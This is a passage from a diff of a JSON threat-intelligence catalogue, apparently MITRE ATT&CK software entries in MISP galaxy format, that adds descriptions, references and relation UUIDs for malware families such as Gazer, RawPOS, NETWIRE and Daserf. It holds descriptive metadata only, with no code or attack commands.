Putter Panda]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0068", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0" - }, - "value": "httpclient" - }, - { - "description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility.[[Citation: CrowdStrike Putter Panda]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0067", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d" + "SNUGRIDE" + ] }, "related": [ { - "dest-uuid": "fb4313ea-1fb6-4766-8b5c-b41fd347e4c5", + "dest-uuid": "6a42aa10-5b7e-43b0-8c58-414cdaeda453", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "12b524b9-0d94-400f-904f-615f4f764aaf", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "pngdowner" + "uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870", + "value": "SNUGRIDE - S0159" + }, + { + "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)", + "meta": { + "external_id": "S0166", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0166", + "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + ], + "synonyms": [ + "RemoteCMD" + ] + }, + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4e6b9625-bbda-4d96-a652-b3bb45453f26", + "value": "RemoteCMD - S0166" + }, + { + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "meta": { + "external_id": "S0167", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0167", + "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", + "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + ], + "synonyms": [ + "Matroyshka" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "1cc934e4-b01d-4543-a011-b988dfc1a458", + "value": "Matroyshka - S0167" + }, + { + "description": "[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)", + "meta": { + "external_id": "S0176", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0176", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf", + "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", + "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + ], + "synonyms": [ + "Wingbird" + ] + }, + "related": [ + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a8d3d497-2da9-4797-8e0b-ed176be08654", + "value": "Wingbird - S0176" + }, + { + "description": "[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)", + "meta": { + "external_id": "S0186", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0186", + "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + ], + "synonyms": [ + "DownPaper" + ] + }, + "related": [ + { + "dest-uuid": "227862fd-ae83-4e3d-bb69-cc1a45a13aed", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148", + "value": "DownPaper - S0186" + }, + { + "description": "[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)", + "meta": { + "external_id": "S0168", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0168", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "https://securelist.com/introducing-whitebear/81638/" + ], + "synonyms": [ + "Gazer", + "WhiteBear" + ] + }, + "related": [ + { + "dest-uuid": "0a3047b3-6a38-48ff-8f9c-49a5c28e3ada", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "76abb3ef-dafd-4762-97cb-a35379429db4", + "value": "Gazer - S0168" + }, + { + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a dynamic-link library (DLL) downloader utilized by [FIN8](https://attack.mitre.org/groups/G0061). (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "meta": { + "external_id": "S0196", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0196", + "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html", + "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + ], + "synonyms": [ + "PUNCHBUGGY" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "value": "PUNCHBUGGY - S0196" + }, + { + "description": "[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "meta": { + "external_id": "S0169", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0169", + "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105", + "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf", + "https://www.youtube.com/watch?v=fevGZs0EQu8", + "https://github.com/DiabloHorn/mempdump", + "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf", + "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + ], + "synonyms": [ + "RawPOS", + "FIENDCRY", + "DUEBREW", + "DRIFTWOOD" + ] + }, + "related": [ + { + "dest-uuid": "80f87001-ff40-4e33-bd12-12ed1a92d1d7", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9752aef4-a1f3-4328-929f-b64eb0536090", + "value": "RawPOS - S0169" + }, + { + "description": "[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", + "meta": { + "external_id": "S0187", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0187", + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + ], + "synonyms": [ + "Daserf", + "Muirim", + "Nioupale" + ] + }, + "related": [ + { + "dest-uuid": "70f6c71f-bc0c-4889-86e3-ef04e5b8415b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "value": "Daserf - S0187" + }, + { + "description": "[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "meta": { + "external_id": "S0178", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0178", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha", + "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + ], + "synonyms": [ + "Truvasys" + ] + }, + "related": [ + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "value": "Truvasys - S0178" + }, + { + "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "meta": { + "external_id": "S0197", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0197", + "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html", + "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + ], + "synonyms": [ + "PUNCHTRACK", + "PSVC" + ] + }, + "related": [ + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "value": "PUNCHTRACK - S0197" + }, + { + "description": "[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)", + "meta": { + "external_id": "S0188", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0188", + "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + ], + "synonyms": [ + "Starloader" + ] + }, + "related": [ + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "96566860-9f11-4b6f-964d-1c924e4f24a4", + "value": "Starloader - S0188" + }, + { + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)", + "meta": { + "external_id": "S0198", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0198", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/", + "https://www.brighttalk.com/webcast/10703/275683" + ], + "synonyms": [ + "NETWIRE" + ] + }, + "related": [ + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2a70812b-f1ef-44db-8578-a496a227aef2", + "value": "NETWIRE - S0198" + }, + { + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)", + "meta": { + "external_id": "S0189", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0189", + "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + ], + "synonyms": [ + "ISMInjector" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5be33fef-39c0-4532-84ee-bea31e1b5324", + "value": "ISMInjector - S0189" + }, + { + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s DROPSHOT malware (also known as Stonedrill). (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "meta": { + "external_id": "S0199", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0199", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.brighttalk.com/webcast/10703/275683" + ], + "synonyms": [ + "TURNEDUP" + ] + }, + "related": [ + { + "dest-uuid": "fab34d66-5668-460a-bc0f-250b9417cdbf", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + 